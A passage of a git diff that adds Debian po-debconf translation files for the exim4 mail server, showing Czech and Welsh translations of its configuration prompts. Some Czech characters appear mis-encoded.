+"Pokud chytrý poÄítaÄ vyžaduje autentizaci, pÅ™eÄtÄ›te si prosím poznámky o "
+"nastavení SMTP autentizace v debianích README v /usr/share/doc/exim4-base/."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Příjemce pošty pro uživatele root a postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"PoÅ¡ta pro uživatele „postmaster“, „root“ a jiné systémové úÄty musí být "
+"pÅ™esmÄ›rována na běžný uživatelský úÄet momentálního správce systému."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Necháte-li tuto hodnotu prázdnou, bude se podobná pošta ukládat do /var/mail/"
+"mail, což se nedoporuÄuje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"PoÅ¡ta pro uživatele „postmaster“ by se mÄ›la vÄ›tÅ¡inou Äíst na systému, ke "
+"kterému patří. To znamená, že alespoň jeden uživatel, který dostává tuto "
+"poÅ¡tu, by ji nemÄ›l pÅ™esmÄ›rovávat pryÄ z tohoto systému. Pro vynucení "
+"doruÄení na lokální úÄet můžete použít pÅ™edponu „real-“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Více uživatelských jmen musí být odděleno mezerami."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP adresy, na kterých se mají oÄekávat příchozí SMTP spojení:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Zadejte prosím středníky oddělený seznam IP adres. SMTP daemon Exim bude "
+"naslouchat na všech zde uvedených IP adresách."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Prázdná hodnota způsobí, že Exim bude Äekat na spojení na vÅ¡ech dostupných "
+"síťových rozhraních."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Pokud tento poÄítaÄ nedostává poÅ¡tu přímo z jiných poÄítaÄů, ale pouze skrze "
+"lokální služby, doporuÄuje se zakázat externí spojení k lokálnímu Eximu. "
+"Mezi lokální služby patří programy jako fetchmail nebo poštovní klienti, "
+"kteří se baví pouze s tímto poÄítaÄem. Pokud zde zadáte 127.0.0.1, zakážete "
+"Eximu naslouchat na veřejných síťových rozhraních a tedy zamezíte externím "
+"spojením."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Minimalizovat poÄet DNS dotazů (VytáÄení-na-vyžádání)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Aby Exim poskytoval pÅ™esné záznamy o své Äinnosti a minimalizoval poÄet "
+"pevných hodnot v konfiguraÄním souboru, klade pÅ™i svém startu a pÅ™i "
+"přijímání nebo odesílání pošty různé DNS dotazy."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Kdyby tento poÄítaÄ nemÄ›l trvalý přístup k jmenným serverům a používal pro "
+"přístup k Internetu vytáÄené pÅ™ipojení na vyžádání, mohlo by to mít nechtÄ›né "
+"následky, protože start eximu nebo kontrola fronty (i kdyby v ní nebyly "
+"žádné zprávy) by mohly spustit drahé připojení."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Tuto možnost byste mÄ›li povolit v případÄ›, že váš systém používá vytáÄení na "
+"vyžádání. Jestliže máte k Internetu trvalý přístup, tuto možnost zamítněte."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Nastavení poštovního serveru"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Rozdělit nastavení do menších souborů?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debianí balíky eximu4 mohou k vytvoÅ™ení výsledné konfigurace použít buÄ "
+"jeden velký soubor (/etc/exim4/exim4.conf.template) nebo zhruba 50 menších "
+"souborů z adresáře /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"První možnost (jediný soubor) je vhodnější pro rozsáhlé úpravy a teoreticky "
+"je o něco stabilnější. Druhá možnost (mnoho menších souborů) nabízí "
+"pohodlnou zmÄ›nu malých izolovaných Äástí, ale je náchylnÄ›jší k chybám z "
+"nepozornosti."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Podrobnější diskuzi o monolitické a rozdělené konfiguraci naleznete v "
+"debianím README v /usr/share/doc/exim4-base/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skrýt lokální poštovní jméno v odchozí poště?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"HlaviÄky odchozí poÅ¡ty mohou být pÅ™epsány tak, aby vypadaly, že zpráva "
+"pochází z jiného poÄítaÄe. Jestliže tuto možnost povolíte, budou v "
+"hlaviÄkách From, Reply-To, Sender a Return-Path pÅ™episovány Å™etÄ›zce "
+"„${mailname}“, „localhost“ a „${dc_other_hostnames}“."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "formát mbox ve /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "formát Maildir v domovském adresáři"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Způsob doruÄení lokální poÅ¡ty:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim umí ukládat lokálnÄ› doruÄenou poÅ¡tu v různých formátech. "
+"Nejpoužívanější jsou mbox a Maildir. mbox uchovává celou složku s poštou v "
+"jediném souboru ve /var/mail/. Oproti tomu formát Maildir ukládá každou "
+"zprávu do samostatného souboru v adresáři ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Vemte prosím na vědomí, že většina poštovních nástrojů v Debianu implicitně "
+"oÄekává doruÄování do mboxu."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "PÅ™esunout dosud nedoruÄenou poÅ¡tu ze spool adresáře eximu 3 do exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Ve spool adresáři eximu nebo eximu-tls verze 3 (/var/spool/exim/input/) "
+#~ "se nachází dosud nedoruÄená poÅ¡ta."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "VýbÄ›rem této možnosti můžete nedoruÄenou poÅ¡tu pÅ™esunout do spool "
+#~ "adresáře eximu4 (/var/spool/exim4/input/), který se o ni postará."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Přesun funguje pouze jedním směrem. Exim4 umí převzít spool adresář od "
+#~ "eximu verze 3, ale opaÄnÄ› to neplatí. Odmítnete-li tuto možnost, musíte "
+#~ "poÅ¡tu pÅ™esunout ruÄnÄ›, nebo nebude nikdy doruÄena."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Ponecháte-li seznam prázdný, Exim nebude doruÄovat žádnou lokální poÅ¡tu."
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "NaznaÄujete, že máte své vypiplané nastavení Eximu 3. Pro jeho pÅ™evod do "
+#~ "Eximu 4 můžete po instalaci použít nástroj exim_convert4r4(8). "
+#~ "Nezapomeňte si pÅ™eÄíst /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "a /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "„PoÅ¡tovní jméno“ je název poÄítaÄe a zároveň Äást adresy za zavináÄem, "
+#~ "která se bude zobrazovat na odchozí poště (pokud není skrytá "
+#~ "přepisovacími pravidly)."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr "Zadejte zde sítě, kterým chcete předávat poštu (relay)."
diff --git a/debian/po/cy.po b/debian/po/cy.po
new file mode 100644
index 0000000..8d672b8
--- /dev/null
+++ b/debian/po/cy.po
@@ -0,0 +1,765 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+# Dafydd Harries <daf@muse.19inch.net>, 2004 2005.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2005-04-25 20:21+1000\n"
+"Last-Translator: Dafydd Harries <daf@muse.19inch.net>\n"
+"Language-Team: Welsh <cy@pengwyn.linux.org.uk>\n"
+"Language: cy\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Dileu negeseuon heb eu dosbarthu sydd yn y cyfeiriadur sbŵl?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Mae negeseuon yn y cyfeiriadur sbŵl Exim /var/spool/exim4/input sydd heb eu "
+"dosbarthu eto. Cewch eu cadw nwh rhag ofn rydych chi'n penderfynu ailsefydlu "
+"Exim yn hwyrach, neu cewch ddewis eu dileu nhw."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "safle Rhyngrwyd; derbynnir a danfonir post yn uniongyrchol drwy SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "danfonir post drwy westeiwr clyfar; derbynnir drwy SMTP neu fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "danfonir post drwy westeiwr clyfar"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "dosbarthiad lleol yn unig; ddim ar rhwydwaith"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "dim cyfluniad ar hyn o bryd"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Math cyffredinol o gyfluniad ebost:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Yn gyffredinol, fe ddyai peiriannau a chyfeiriadau IP deinamig, yn cynnwys "
+"systemau sy'n deialu i fyny, gael eu cyflunio i ddanfon post allan i "
+"beiriant arall, a elwir yn \"westeiwr clyfar\", ar gyfer dosbarthiad. Cewch "
+"ddewis derbyn ebost ar y fath system; neu i gael dim dosbarthiad lleol, ar "
+"wahan i \"root\" a \"postmaster\"."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Gwir adael y system ebost heb ei gyflunio?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Tan y caiff eich system ebost ei gyflunio, fe fydd wedi torri a ni ellir ei "
+"ddefnyddio. Wrth gwrs, cewch ei gyflunio'n hwyrach, un ai â llawn neu gan "
+"redeg \"dpkg-reconfigure exim4-config\" fel \"root\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Enw ebost y system:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Caiff yr enw hwn ei ddefnyddio gan rhaglenni eraill; dylai fod yr enw parth "
+"cyflawn, sengl (FQDN) y bydd post yn ymddangos y daeth ohoni."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ni fydd yr enw hwn yn ymddangos ar linellau From: post allan os ydych chi'n "
+"galluogi ailysgrifennu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Cyrchfannau eraill y derbynir ebost ar eu cyfer:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Rhowch rhestr o barthau fe ddylai'r peiriant hwn gysudro ei hun y cyrchfan "
+"terfynol ar eu cyfer, ar wahan i'r enw gwesteiwr lleol (${fqdn}) a "
+"\"localhost\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Yn rhagosodiedig, caiff pob parth ei drin yr un fath; os hoffech chi i'r "
+"gwahanol barthau eu trin yn wahanol, bydd rhaid i chi olygu'r ffeiliau "
+"cyfluniad yn hwyrach."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Parthau i ailddosbarthu post ar eu cyfer:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Peiriannau i ailddosbarthu post ar eu cyfer:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Os oes yna rai, rhown nhw yma, wedi ei gwahannu gan orwahannodau (:). Fe "
+"ddylwch ddefnyddio'r ffurf cyfeiriad/hyd arferol (e.e. 194.222.242.0/24)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "New parth gweladwy ar gyfer defnyddwyr lleol:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Gweler /usr/share/doc/exim4-base/README.Debian.gz am nodiadau ynghylch "
+"cyflunio dilysiad SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Derbynnydd ebost \"root\" a \"postmaster\":"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Mae ebost i'r cyfrifon \"postmaster\" a \"root\" ac i chyfrifon system "
+"eraill fel arfer yn cael ei ailgyfeirio at cyfrif defnyddiwr gwir weinyddwr "
+"y system. Os ydych chi'n gadael y gwerth hwn yn wag, bydd y fath bost yn "
+"cael ei gadw yn /var/mail/mail, a ni argymhellir. Sylwer y dylai ebost "
+"postmaster gael ei ddarlen ar y system y caiff ei gyfeirio ati, yn hytrach "
+"na chael ei gyfeirio i rhywle arall felly ni ddylai (o leiaf un o) y "
+"defnyddwyr rydych chi'n dewis ailgyfeirio eu ebost bant o'r peiriant yma. "
+"Defnyddwich cynddodiad \"real-\" i orfodi dosbarthiad lleol."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Rhowch un neu fwy enw defnyddiwr wedi eu gwahannu gan fylchau."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Cyfeiriadau IP i'w gwrando arnynt am gysylltiadau SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Os ydych chi'n gadael y gwerth hwn yn wag, fe fydd Exim yn gwrando am "
+"gysylltiadau ar borth SMTP pob rhyngwyneb rhwydwaith."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Os nad yw'r cyfrifiadur hwn yn derbyn ebost yn uniongyrchol drwy SMTP o "
+"gyfrifiaduron ERAILL, ond dim ond o wasanaethau lleol fel fetchmail neu eich "
+"rhaglen ebost yn siarad i localhost yna fe ddylwch wahardd cysylltiadau "
+"allanol i Exim gan osod yr opsiwn hwn i 127.0.0.1 a felly yn analluogi "
+"gwrando ar rhyngwynebau rhwydwaith lleol."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Lleihau'r nifer o geisiau DNS (deialu pan bo angen)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Fel arfer, mae Exim yn gwneud ceisiau DNS wrth gychywn, wrth dderbyn ac "
+"anfon negeseuon, a.y.y.b. er mwyn cofnodi a chadw'r nifer o werthoedd cadarn "
+"yn y ffeil cyfluniad yn isel."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Os mae hyn yn westeiwr heb gysylltiad parhaol at weinydd DNS sy'n deialu i "
+"fyny pan bo angen, fe all hyn olygu fod cychwyn Exim neu redeg ciw (hyd yn "
+"oed a dim neges yn aros) achosi deialu i fyny costus i ddigwydd."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+#, fuzzy
+msgid "Mail Server configuration"
+msgstr "Math cyffredinol o gyfluniad ebost:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Hollti cyfluniad i ffeiliau bychan?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Gally y pecynnau Debian exim4 un ai ddefnyddio ffeil cyflawn sengl (/etc/"
+"exim4/exim4.conf.template) neu tua 40 ffeil bychan yn /etc/exim4.conf.d/ i "
+"gynhyrchu'r cyfluniad terfynol."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Mae'r ffurf cyntaf yn well ar gyfer newidiadau mawr ac yn gyffredinol yn fwy "
+"sefydlog, tra mae'r ail ffurf yn cynnig ffordd mwy cyfforddus o wneud "
+"newidiadau llai ond yn fwy bregus a gall dorri os gnweur newidiadau mawr."
+
+#. Type: boolean
+#. Description
